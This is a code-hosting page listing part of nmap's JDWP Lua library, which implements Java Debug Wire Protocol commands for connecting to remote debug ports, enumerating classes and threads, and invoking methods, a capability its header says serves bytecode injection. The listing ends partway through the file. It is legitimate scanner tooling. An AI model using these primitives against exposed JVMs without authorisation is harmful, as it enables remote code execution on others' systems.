PageRenderTime 47ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms

/nselib/jdwp.lua

https://github.com/prakashgamit/nmap
Lua | 1095 lines | 709 code | 60 blank | 326 comment | 69 complexity | a1ed4f631d84a2862078d1fde5dcbbb0 MD5 | raw file
Possible License(s): BSD-3-Clause, GPL-2.0, LGPL-2.0, LGPL-2.1
  1. --- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to
  2. -- use remote debugging port and inject java bytecode.
  3. --
  4. -- There are two basic packet types in JDWP protool.
  5. -- Command packet and reply packet. Command packets are sent by
  6. -- a debugger to a remote port which replies with a reply packet.
  7. --
  8. -- Simple handshake is needed to start the communication.
  9. -- The debugger sends a "JDWP-Handshake" string and gets the same as a reply.
  10. -- Each (command and reply packet) has an id field since communication can be asynchronous.
  11. -- Packet id can be monothonicaly increasing.
  12. -- Although communication can be asynchronous, it is not (at least in my tests) so the same
  13. -- packet id can be used for all communication.
  14. --
  15. -- To start the connection, script should call <code>jdwp.connect()</code> which returns success
  16. -- status and a socket. All other protocol functions require a socket as their first parameter.
  17. --
  18. -- Example of initiating connection:
  19. -- <code>
  20. -- local status,socket = jdwp.connect(host,port)
  21. -- if not status then
  22. -- stdnse.print_debug("error, %s",socket)
  23. -- end
  24. -- local version_info
  25. -- status, version_info = jdwp.getVersion(socket,0)
  26. -- </code>
  27. --
  28. -- References:
  29. -- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  30. --
  31. --@copyright Same as Nmap--See http://nmap.org/book/man-legal.html
  32. --@author Aleksandar Nikolic
  33. --
  34. -- Version 0.1
  35. -- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic
  36. local stdnse = require "stdnse"
  37. local string = require "string"
  38. local bin = require "bin"
  39. local table = require "table"
  40. local nmap = require "nmap"
  41. _ENV = stdnse.module("jdwp", stdnse.seeall)
  42. -- JDWP protocol specific constants
  43. JDWP_CONSTANTS = {
  44. handshake = "JDWP-Handshake" -- Connection initialization handshake
  45. }
  46. -- List of error codes from:
  47. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error
  48. ERROR_CODES = {
  49. [0] = "NONE No error has occurred.",
  50. [10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.",
  51. [11] = "INVALID_THREAD_GROUP Thread group invalid.",
  52. [12] = "INVALID_PRIORITY Invalid priority.",
  53. [13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.",
  54. [14] = "THREAD_SUSPENDED Thread already suspended.",
  55. [20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.",
  56. [21] = "INVALID_CLASS Invalid class.",
  57. [22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.",
  58. [23] = "INVALID_METHODID Invalid method.",
  59. [24] = "INVALID_LOCATION Invalid location.",
  60. [25] = "INVALID_FIELDID Invalid field.",
  61. [30] = "INVALID_FRAMEID Invalid jframeID.",
  62. [31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.",
  63. [32] = "OPAQUE_FRAME Information about the frame is not available.",
  64. [33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.",
  65. [34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.",
  66. [35] = "INVALID_SLOT Invalid slot.",
  67. [40] = "DUPLICATE Item already set.",
  68. [41] = "NOT_FOUND Desired element not found.",
  69. [50] = "INVALID_MONITOR Invalid monitor.",
  70. [51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.",
  71. [52] = "INTERRUPT The call has been interrupted before completion.",
  72. [60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.",
  73. [61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.",
  74. [62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.",
  75. [63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.",
  76. [64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.",
  77. [65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.",
  78. [66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.",
  79. [67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.",
  80. [68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.",
  81. [69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.",
  82. [70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.",
  83. [71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.",
  84. [99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.",
  85. [100] = "NULL_POINTER Invalid pointer.",
  86. [101] = "ABSENT_INFORMATION Desired information is not available.",
  87. [102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.",
  88. [103] = "ILLEGAL_ARGUMENT Illegal argument.",
  89. [110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.",
  90. [111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.",
  91. [112] = "VM_DEAD The virtual machine is not running.",
  92. [113] = "INTERNAL An unexpected internal error has occurred.",
  93. [115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.",
  94. [500] = "INVALID_TAG object type id or class tag.",
  95. [502] = "ALREADY_INVOKING Previous invoke not complete.",
  96. [503] = "INVALID_INDEX Index is invalid.",
  97. [504] = "INVALID_LENGTH The length is invalid.",
  98. [506] = "INVALID_STRING The string is invalid.",
  99. [507] = "INVALID_CLASS_LOADER The class loader is invalid.",
  100. [508] = "INVALID_ARRAY The array is invalid.",
  101. [509] = "TRANSPORT_LOAD Unable to load the transport.",
  102. [510] = "TRANSPORT_INIT Unable to initialize the transport.",
  103. [511] = "NATIVE_METHOD",
  104. [512] = "INVALID_COUNT The count is invalid."
  105. }
  106. -- JDWP protocol Command packet as described at
  107. -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  108. -- Each command packet has a Command Set number, Command Number and data required
  109. -- for that command.
  110. JDWPCommandPacket = {
  111. new = function(self,id,command_set,command, data)
  112. local o = {
  113. id = id,
  114. flags = 0, -- current specification has no flags defined for Command Packets
  115. command_set = command_set,
  116. command = command,
  117. data = data
  118. }
  119. setmetatable(o, self)
  120. self.__index = self
  121. return o
  122. end,
  123. -- Packs command packet as a string od bytes, ready to be sent
  124. -- to the target debugee.
  125. pack = function(self)
  126. local packed_packet
  127. if self.data == nil then
  128. packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes
  129. else
  130. packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data
  131. end
  132. packed_packet = packed_packet .. bin.pack(">I",self.id)
  133. packed_packet = packed_packet .. bin.pack(">C",0) -- flag
  134. packed_packet = packed_packet .. bin.pack(">C",self.command_set)
  135. packed_packet = packed_packet .. bin.pack(">C",self.command)
  136. if self.data then
  137. packed_packet = packed_packet .. self.data
  138. end
  139. return packed_packet
  140. end
  141. }
  142. -- JDWP protocol Reply packet as described at
  143. -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  144. -- Reply packets are recognized by 0x80 in flag field.
  145. JDWPReplyPacket = {
  146. new = function(self,length,id,error_code,data)
  147. local o = {
  148. length = length,
  149. id = id,
  150. flags = 0x80, -- no other flag is currently specified in the specification
  151. error_code = error_code, -- see ERROR_CODES table
  152. data = data -- reply data, contents depend on the command
  153. }
  154. setmetatable(o, self)
  155. self.__index = self
  156. return o
  157. end,
  158. -- Parses the reply into JDWPReplyPacket table.
  159. parse_reply = function(self,reply_packet)
  160. local pos,length,id,flags,error_code,data
  161. pos, length = bin.unpack(">I",reply_packet)
  162. pos, id = bin.unpack(">I",reply_packet,pos)
  163. pos, flags = bin.unpack(">C",reply_packet,pos)
  164. pos, error_code = bin.unpack(">S",reply_packet,pos)
  165. data = string.sub(reply_packet,pos)
  166. if flags == 0x80 then
  167. return true, JDWPReplyPacket:new(length,id,error_code,data)
  168. end
  169. stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet))
  170. return false, "JDWP error parsing reply."
  171. end
  172. }
  173. --- Negotiates the initial debugger-debugee handshake.
  174. --
  175. --@param host Host to connect to.
  176. --@param port Port to connect to.
  177. --@return (status,socket) If status is false, socket is error message, otherwise socket is
  178. -- a newly created socket with initial handshake finished.
  179. function connect(host,port)
  180. local status, result,err
  181. local socket = nmap.new_socket("tcp")
  182. socket:set_timeout(10000)
  183. local status, err = socket:connect(host, port)
  184. if not status then
  185. stdnse.print_debug(2,"JDWP could not connect: %s",err)
  186. return status, err
  187. end
  188. status, err = socket:send(JDWP_CONSTANTS.handshake)
  189. if not status then
  190. stdnse.print_debug(2,"JDWP could not send handshake: %s",err)
  191. return status, err
  192. end
  193. status, result = socket:receive()
  194. if not status then
  195. stdnse.print_debug(2,"JDWP could not receive handshake: %s",result)
  196. return status, result
  197. end
  198. if result == JDWP_CONSTANTS.handshake then
  199. stdnse.print_debug("JDWP handshake successful.")
  200. return true, socket
  201. end
  202. return false, "JDWP handshake unsuccessful."
  203. end
  204. --- Helper function to pack regular string into UTF-8 string.
  205. --
  206. --@param data String to pack into UTF-8.
  207. --@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self.
  208. function toUTF8(data)
  209. local utf8_string = bin.pack(">i",#data) .. data
  210. return utf8_string
  211. end
  212. --- Helper function to read all Reply packed data which might be fragmented
  213. -- over multipe packets.
  214. --
  215. --@param socket Socket to receive from.
  216. --@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes.
  217. function receive_all(socket)
  218. local status, result = socket:receive()
  219. if not status then
  220. return false,result
  221. end
  222. local data = result
  223. local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length
  224. while expected_length > #data do -- read until we get all the ReplyPacket data
  225. status,result = socket:receive()
  226. if not status then
  227. return true, data -- if somethign is wrong,return partial data
  228. end
  229. data = data .. result
  230. end
  231. return true,data
  232. end
  233. --- Helper function to extract ascii string from UTF-8
  234. --
  235. -- Writen in this way so it can be used interchangeably with bin.unpack().
  236. --
  237. --@param data Data from which to extract the string.
  238. --@param pos Offset into data string where to begin.
  239. --@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string.
  240. local function extract_string(data,pos)
  241. local string_size
  242. if pos > #data then
  243. stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.")
  244. return pos, nil
  245. end
  246. pos, string_size = bin.unpack(">I",data,pos)
  247. local ascii_string = string.sub(data,pos,pos+string_size)
  248. local new_pos = pos+string_size
  249. return new_pos,ascii_string
  250. end
  251. --- Helper function that sends the Command packet and parses the reply.
  252. --
  253. --@param socket Socket to use to send the command.
  254. --@param command <code>JDWPCommandPacket</code> to send.
  255. --@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply.
  256. function executeCommand(socket,command)
  257. socket:send(command:pack())
  258. local status, result = receive_all(socket)
  259. if not status then
  260. return false, "JDWP executeCommand() didn't get a reply."
  261. end
  262. local reply_packet
  263. status, reply_packet = JDWPReplyPacket:parse_reply(result)
  264. if not status then
  265. return false, reply_packet
  266. end
  267. if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured
  268. return false, ERROR_CODES[reply_packet.error_code]
  269. end
  270. local data = reply_packet.data
  271. return true, data
  272. end
  273. --- VirtualMachine Command Set (1)
  274. -- Commands targeted at the debugggee virtual machine.
  275. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine
  276. --- Version Command (1)
  277. -- Returns the JDWP version implemented by the target VM as a table.
  278. --
  279. -- Returns a table with following values:
  280. -- * 'description' Debugge vm verbose description.
  281. -- * 'jdwpMajor' Number representing major JDWP version.
  282. -- * 'jdwpMinor' Number representing minor JDWP version.
  283. -- * 'vmVersion' String representing version of the debuggee VM.
  284. -- * 'vmName' Name of the debuggee VM.
  285. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version
  286. --
  287. --@param socket Socket to use to send the command.
  288. --@param id Packet id.
  289. --@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info.
  290. function getVersion(socket,id)
  291. local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1)
  292. local status, data = executeCommand(socket,command)
  293. if not status then
  294. stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
  295. return false,data
  296. end
  297. -- parse data
  298. local version_info = {description = "",
  299. jdwpMajor = 0,
  300. jdwpMinor = 0,
  301. vmVersion = "",
  302. vmName = ""}
  303. local vmVersionSize
  304. local pos
  305. pos, version_info.description = extract_string(data,0)
  306. pos, version_info.jdwpMajor = bin.unpack(">i",data,pos)
  307. pos, version_info.jdwpMinor = bin.unpack(">i",data,pos)
  308. pos, version_info.vmVersion = extract_string(data,pos)
  309. pos, version_info.vmName = extract_string(data,pos)
  310. return true, version_info
  311. end
  312. --- Classes by Signature command (2)
  313. -- Returns reference types for all the classes loaded by the target VM which match the given signature.
  314. --
  315. -- Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class
  316. -- in other commands. Returns a list of tables containing following values:
  317. -- * 'refTypeTag' JNI type tag
  318. -- * 'referenceTypeID' Reference type of the class
  319. -- * 'status' Current class status.
  320. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature
  321. --
  322. --@param socket Socket to use to send the command.
  323. --@param id Packet id.
  324. --@param signature Signature of the class.
  325. --@return (status,classes) If status is false, classes is an error string, else it contains list of found classes.
  326. function getClassBySignature(socket,id,signature)
  327. local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature))
  328. local status, data = executeCommand(socket,command)
  329. if not status then
  330. stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data)
  331. return false,data
  332. end
  333. -- parse data
  334. local classes = {}
  335. local pos,number_of_classes = bin.unpack(">i",data)
  336. for i = 1, number_of_classes do
  337. local class_info = {
  338. refTypeTag = nil,
  339. referenceTypeID = nil,
  340. status = nil
  341. }
  342. pos, class_info.refTypeTag = bin.unpack("c",data,pos)
  343. pos, class_info.referenceTypeID = bin.unpack(">L",data,pos)
  344. pos, class_info.status = bin.unpack(">i",data,pos)
  345. table.insert(classes,class_info)
  346. end
  347. return true, classes
  348. end
  349. --- AllThreads Command (4)
  350. -- Returns all threads currently running in the target VM .
  351. --
  352. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads
  353. --
  354. --@param socket Socket to use to send the command.
  355. --@param id Packet id.
  356. --@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM.
  357. function getAllThreads(socket,id)
  358. local command = JDWPCommandPacket:new(id,1,4,nil)
  359. local status, data = executeCommand(socket,command)
  360. if not status then
  361. stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data)
  362. return false,data
  363. end
  364. -- parse data
  365. local pos,number_of_threads = bin.unpack(">i",data)
  366. local threads = {}
  367. for i = 1, number_of_threads do
  368. local thread
  369. pos, thread = bin.unpack(">L",data,pos)
  370. table.insert(threads,thread)
  371. end
  372. return true, threads
  373. end
  374. --- Resume Command (9)
  375. -- Resumes execution of the application after the suspend command or an event has stopped it.
  376. --
  377. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume
  378. --
  379. --@param socket Socket to use to send the command.
  380. --@param id Packet id.
  381. --@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply.
  382. function resumeVM(socket,id)
  383. local command = JDWPCommandPacket:new(id,1,9,nil)
  384. local status, data = executeCommand(socket,command)
  385. if not status then
  386. stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
  387. return false,data
  388. end
  389. -- wait for event notification
  390. status, data = receive_all(socket)
  391. if not status then
  392. stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data)
  393. end
  394. return true, nil
  395. end
  396. --- CreateString Command (11)
  397. -- Creates new string object in the debuggee VM.
  398. --
  399. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString
  400. --
  401. --@param socket Socket to use to send the command.
  402. --@param id Packet id.
  403. --@param ascii_string String to create.
  404. --@return (status, stringID) If status is false error string is returned, else stringID is newly created string.
  405. function createString(socket,id,ascii_string)
  406. local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string))
  407. local status, data = executeCommand(socket,command)
  408. if not status then
  409. stdnse.print_debug(2,"JDWP createString() error: %s", data)
  410. return false,data
  411. end
  412. local _,stringID = bin.unpack(">L",data)
  413. return true, stringID
  414. end
  415. --- AllClassesWithGeneric Command (20)
  416. -- Returns reference types and signatures for all classes currently loaded by the target VM.
  417. --
  418. -- Returns a list of tables containing following info:
  419. -- * 'refTypeTag' Kind of following reference type.
  420. -- * 'typeID' Loaded reference type
  421. -- * 'signature' The JNI signature of the loaded reference type.
  422. -- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none.
  423. -- * 'status' The current class status.
  424. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric
  425. --
  426. --@param socket Socket to use to send the command.
  427. --@param id Packet id.
  428. --@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information.
  429. function getAllClassesWithGeneric(socket,id)
  430. local command = JDWPCommandPacket:new(id,1,20,nil)
  431. local status, data = executeCommand(socket,command)
  432. if not status then
  433. stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data)
  434. return false,data
  435. end
  436. -- parse data
  437. local all_classes = {}
  438. local pos,number_of_classes = bin.unpack(">i",data)
  439. for i = 0 , number_of_classes do
  440. local class = {
  441. refTypeTag = nil,
  442. typeID = nil,
  443. signature = nil,
  444. genericSignature = nil,
  445. status = nil
  446. }
  447. if pos > #data then break end
  448. pos, class.refTypeTag = bin.unpack("C",data,pos)
  449. pos, class.typeID = bin.unpack(">L",data,pos)
  450. pos, class.signature = extract_string(data,pos)
  451. pos, class.genericSignature = extract_string(data,pos)
  452. pos, class.status = bin.unpack(">i",data,pos)
  453. table.insert(all_classes,class)
  454. end
  455. return true, all_classes
  456. end
  457. --- ReferenceType Command Set (2)
  458. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType
  459. --- SignatureWithGeneric Command (13)
  460. -- Returns the JNI signature of a reference type.
  461. --
  462. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric
  463. --
  464. --@param socket Socket to use to send the command.
  465. --@param id Packet id.
  466. --@param classID Reference type id of the class to get the signature from.
  467. --@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class").
  468. function getSignatureWithGeneric(socket,id,classID)
  469. local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1)
  470. local status, data = executeCommand(socket,command)
  471. if not status then
  472. stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
  473. return false,data
  474. end
  475. local _,signature = extract_string(data,0)
  476. -- parse data
  477. return true,signature
  478. end
  479. --- MethodsWithGeneric Command (15)
  480. -- Returns information, including the generic signature if any, for each method in a reference type.
  481. --
  482. -- Returns a list of tables containing following fields for each method:
  483. -- * 'methodID' Method ID which can be used to call the method.
  484. -- * 'name' The name of the method.
  485. -- * 'signature' The JNI signature of the method.
  486. -- * 'generic_signature' The generic signature of the method, or an empty string if there is none.
  487. -- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration.
  488. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric
  489. --
  490. --@param socket Socket to use to send the command.
  491. --@param id Packet id.
  492. --@param classID Reference type id of the class to get the list of methods.
  493. --@return (status, signature) If status is false methods contains an error string, else it a list of methods information.
  494. function getMethodsWithGeneric(socket,id,classID)
  495. local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID))
  496. local status, data = executeCommand(socket,command)
  497. if not status then
  498. stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data)
  499. return false,data
  500. end
  501. -- parse data
  502. local methods = {}
  503. local pos,number_of_methods = bin.unpack(">i",data)
  504. for i = 1, number_of_methods do
  505. local method_info = {
  506. methodID = nil,
  507. name = nil,
  508. signature = nil,
  509. generic_signature = nil,
  510. modBits = nil
  511. }
  512. pos, method_info.methodID = bin.unpack(">i",data,pos)
  513. pos,method_info.name = extract_string(data,pos)
  514. pos, method_info.signature = extract_string(data,pos)
  515. pos,method_info.generic_signature = extract_string(data,pos)
  516. pos, method_info.modBits = bin.unpack(">i",data,pos)
  517. table.insert(methods,method_info)
  518. end
  519. return true, methods
  520. end
  521. --- ClassType Command Set (3)
  522. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType
  523. --- InvokeMethod Command (3)
  524. -- Invokes a class' static method and returns the reply data.
  525. --
  526. -- Reply data can vary so parsing is left to the function caller.
  527. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod
  528. --
  529. --@param socket Socket to use to send the command.
  530. --@param id Packet id.
  531. --@param classID Reference type id of the class.
  532. --@param methodID ID of the static method to call.
  533. --@numberOfArguments Number of method arguments.
  534. --@arguments Already packed arguments.
  535. --@options Invocation options.
  536. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
  537. function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options)
  538. local params
  539. if numberOfArguments == 0 then
  540. params = bin.pack(">Liii",classID,methodID,numberOfArguments,options)
  541. else
  542. params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options)
  543. end
  544. local command = JDWPCommandPacket:new(id,3,3,params)
  545. local status, data = executeCommand(socket,command)
  546. if not status then
  547. stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data)
  548. return false,data
  549. end
  550. return true,data
  551. end
  552. --- NewInstance Command (4)
  553. -- Creates a new object of this type, invoking the specified constructor.
  554. -- The constructor method ID must be a member of the class type.
  555. --
  556. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance
  557. --
  558. --@param socket Socket to use to send the command.
  559. --@param id Packet id.
  560. --@param classID Reference type id of the class.
  561. --@param threadID The thread in which to invoke the constructor.
  562. --@param methodID The constructor to invoke.
  563. --@numberOfArguments Number of constructor arguments.
  564. --@arguments Already packed arguments.
  565. --@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object.
  566. function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments)
  567. local params
  568. if numberOfArguments == 0 then
  569. params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0)
  570. else
  571. params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments
  572. end
  573. local command = JDWPCommandPacket:new(id,3,4,params)
  574. local status, data = executeCommand(socket,command)
  575. if not status then
  576. stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data)
  577. return false,data
  578. end
  579. -- parse data
  580. stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data))
  581. local pos, tag = bin.unpack(">C",data)
  582. local objectID
  583. pos, objectID = bin.unpack(">L",data,pos)
  584. return true,objectID
  585. end
  586. --- ArrayType Command Set (4)
  587. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType
  588. --- NewInstance Command (1)
  589. -- Creates a new array object of the specified type with a given length.
  590. --
  591. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance
  592. --
  593. --@param socket Socket to use to send the command.
  594. --@param id Packet id.
  595. --@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502).
  596. --@param length Length of the new array.
  597. --@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array.
  598. function newArrayInstance(socket,id,arrayType,length)
  599. local params = bin.pack(">Li",arrayType,length)
  600. local command = JDWPCommandPacket:new(id,4,1,params)
  601. local status, data = executeCommand(socket,command)
  602. if not status then
  603. stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data)
  604. return false,data
  605. end
  606. local pos,_ , tag, arrayID
  607. pos, tag = bin.unpack("C",data)
  608. _, arrayID = bin.unpack(">L",data,pos)
  609. return true, arrayID
  610. end
  611. --- ObjectReference Command Set (9)
  612. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference
  613. --- ReferenceType Command (1)
  614. -- Returns the runtime type of the object. The runtime type will be a class or an array.
  615. --
  616. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType
  617. --
  618. --@param socket Socket to use to send the command.
  619. --@param id Packet id.
  620. --@param objectID The ID of an object.
  621. --@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object.
  622. function getRuntimeType(socket,id,objectID)
  623. local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID))
  624. local status, data = executeCommand(socket,command)
  625. if not status then
  626. stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
  627. return false,data
  628. end
  629. local _,tag,runtime_type = bin.unpack(">CL",data)
  630. stdnse.print_debug("runtime type: %d",runtime_type)
  631. return true,runtime_type
  632. end
  633. --- InvokeMethod Command (6)
  634. -- Invokes a instance method with specified parameters.
  635. --
  636. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod
  637. --
  638. --@param socket Socket to use to send the command.
  639. --@param id Packet id.
  640. --@param objectID The ID of an object.
  641. --@param threadID The thread in which to invoke.
  642. --@param classID The class type.
  643. --@param methodID ID of the method to invoke.
  644. --@param numberOfArguments Number of method arguments.
  645. --@arguments Already packed arguments.
  646. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
  647. function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments)
  648. local params
  649. if numberOfArguments == 0 then
  650. params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments)
  651. else
  652. params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments
  653. end
  654. local command = JDWPCommandPacket:new(id,9,6,params)
  655. local status, data = executeCommand(socket,command)
  656. if not status then
  657. stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data)
  658. return false,data
  659. end
  660. stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data))
  661. return true,data
  662. end
  663. --- StringReference Command Set (10)
  664. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference
  665. --- Value Command (1)
  666. -- Returns the characters contained in the string.
  667. --
  668. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value
  669. --
  670. --@param socket Socket to use to send the command.
  671. --@param id Packet id.
  672. --@param stringID The ID of a string to read.
  673. --@return (status, data) If status is false result contains an error string, else it contains read string.
  674. function readString(socket,id,stringID)
  675. local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID))
  676. local status, data = executeCommand(socket,command)
  677. if not status then
  678. stdnse.print_debug(2,"JDWP readString() error: %s", data)
  679. return false,data
  680. end
  681. local _,result = extract_string(data,0)
  682. return true,result
  683. end
  684. --- ThreadReference Command Set (11)
  685. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference
  686. --- Name Command (1)
  687. -- Returns the thread name.
  688. --
  689. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name
  690. --
  691. --@param socket Socket to use to send the command.
  692. --@param id Packet id.
  693. --@param threadID The ID of a thread.
  694. --@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name.
  695. function getThreadName(socket,id,threadID)
  696. local params = bin.pack(">L",threadID)
  697. local command = JDWPCommandPacket:new(id,11,1,params)
  698. local status, data = executeCommand(socket,command)
  699. if not status then
  700. stdnse.print_debug(2,"JDWP getThreadName() error: %s", data)
  701. return false,data
  702. end
  703. -- parse data
  704. local _,thread_name = extract_string(data,0)
  705. return true, thread_name
  706. end
  707. --- Suspend Command (2)
  708. -- Suspends the thread.
  709. --
  710. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend
  711. --
  712. --@param socket Socket to use to send the command.
